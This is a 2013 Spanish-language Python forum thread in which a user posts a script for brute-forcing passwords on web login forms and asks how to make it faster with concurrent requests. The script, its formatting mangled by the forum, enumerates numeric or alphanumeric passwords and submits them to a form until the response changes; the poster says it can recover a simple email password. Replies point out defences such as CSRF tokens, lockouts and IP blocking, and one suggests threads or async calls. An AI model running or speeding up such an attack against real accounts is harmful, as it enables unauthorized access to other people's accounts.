Foros del Web » Programando para Internet » Python »

[SOLUCIONADO] Fuerza bruta formularios web

Estas en el tema de Fuerza bruta formularios web en el foro de Python en Foros del Web. Hola buenas, he creado un programa para reventar contraseñas de cualquier formulario web. La cuestión es que funciona muy lento, pero funciona. Os dejo el ...
  #1 (permalink)  
Antiguo 31/05/2013, 09:31
Avatar de roal40  
Fecha de Ingreso: enero-2012
Mensajes: 61
Antigüedad: 12 años, 10 meses
Puntos: 4
Fuerza bruta formularios web

Hola buenas, he creado un programa para reventar contraseñas de cualquier formulario web.

La cuestión es que funciona muy lento, pero funciona.

Os dejo el codigo, la cuestión es a ver quien puede acelerar mi programa, o al menos hacer varias peticiones a la vez y no que se tenga que esperar a que acabe una solicitud para enviar otra.

Código PHP:
#!/usr/bin/python
import os,sys,urllib
import itertools
import urllib
.request,urllib.parse,urllib.error
def bruteforce
(charsetmaxlength):
    return (
''.join(candidate)
    for 
candidate in itertools.chain.from_iterable(itertools.product(charsetrepeat=i)
    for 
i in range(1maxlength 1))) 
print(
'1º Numérica')
print(
'2º Alfabética')
print(
'3º Alfanumérica')
typep input("Introduce numero del tipo de metodo que quieres: ")
if 
typep=='1':
    
lista='0123456789'
if typep=='2':
    
lista='qwertyuiopasdfghjklñzxcvbnm'
if typep=='3':
    
lista='qwertyuiopasdfghjklñzxcvbnm0123456789'
maxi int(input("Introduce el máximo de carácteres de la contraseña: "))
usuarioi input("Introduce el nombre del formulario email / usuario: "
clavei input("Introduce el nombre del formulario contraseña: ")
url input("Introduce la url del action del formulario: ")
user input("Introduce email / usuario: ")
print(
'Conectando a'url)
for 
password in bruteforce(listamaxi):
    try:
        
password=''.join(password
        print(
'Probando ',user,' : ',password)
        
data urllib.parse.urlencode({usuarioiuserclaveipassword})
        
binary_data data.encode('utf8')
        
response urllib.request.urlopen(url)
        
html2 response.read()
        
req urllib.request.Request(urlbinary_data)
        
req.add_header('Cookie''security=low; PHPSESSID=fefsfesfseee')
        
response1 urllib.request.urlopen(req)
        
html1 response1.read()
        if 
html2 != html1:
            print(
'La clave es ',password)
            
pas open('done.txt','a')
            
pas.write(password)
            
pas.close()
            break
    
except:
        
pass 
  #2 (permalink)  
Antiguo 31/05/2013, 11:02
Avatar de razpeitia
Moderador
 
Fecha de Ingreso: marzo-2005
Ubicación: Monterrey, México
Mensajes: 7.321
Antigüedad: 19 años, 9 meses
Puntos: 1360
Respuesta: Fuerza bruta formularios web

Este programa no va a servir en los siguientes casos:

1. La contraseña tiene mayúsculas.
2. La contraseña tiene caracteres especiales .#@!$
3. La contraseña es lo suficientemente larga, lo cual tardaría años en que terminara el programa.
4. El formulario utiliza un csrf token.
5. El formulario tiene algún mecanismo de intentos.
6. La contraseña tiene acentos como áéíóúÁÉÍÓ o algún otro tipo de carácter åëíöü etc..

Solamente por nombrar algunos.

Básicamente este programa no funcionara para cualquier formulario ligeramente bien hecho o bien si la contraseña es muy larga.
  #3 (permalink)  
Antiguo 31/05/2013, 11:25
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
Respuesta: Fuerza bruta formularios web

... Además de resultar en bloqueos por IP a nivel de firewall del servidor atacado, o al menos bloqueo temporal de la cuenta luego de varios intentos.

La forma más sencilla de acelerarlo es probar con funciones asíncronas, o hilos. Lee sobre eso ;)
  #4 (permalink)  
Antiguo 31/05/2013, 13:47
Avatar de roal40  
Fecha de Ingreso: enero-2012
Mensajes: 61
Antigüedad: 12 años, 10 meses
Puntos: 4
Respuesta: Fuerza bruta formularios web

Cita:
Iniciado por razpeitia Ver Mensaje
Este programa no va a servir en los siguientes casos:

1. La contraseña tiene mayúsculas.
2. La contraseña tiene caracteres especiales .#@!$
3. La contraseña es lo suficientemente larga, lo cual tardaría años en que terminara el programa.
4. El formulario utiliza un csrf token.
5. El formulario tiene algún mecanismo de intentos.
6. La contraseña tiene acentos como áéíóúÁÉÍÓ o algún otro tipo de carácter åëíöü etc..

Solamente por nombrar algunos.

Básicamente este programa no funcionara para cualquier formulario ligeramente bien hecho o bien si la contraseña es muy larga.
Sé sobre esos factores, pero ten en cuenta que si tengo que sumarlos me pasaría la vida para sacar la clave, estamos hablando de fuerza bruta a niveles de por ejemplo... sacar una contraseña sencilla de un email, sé que a mucho no va a llegar pero para alguna clave sirve.

Saludos

Etiquetas: formularios, php
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 02:39.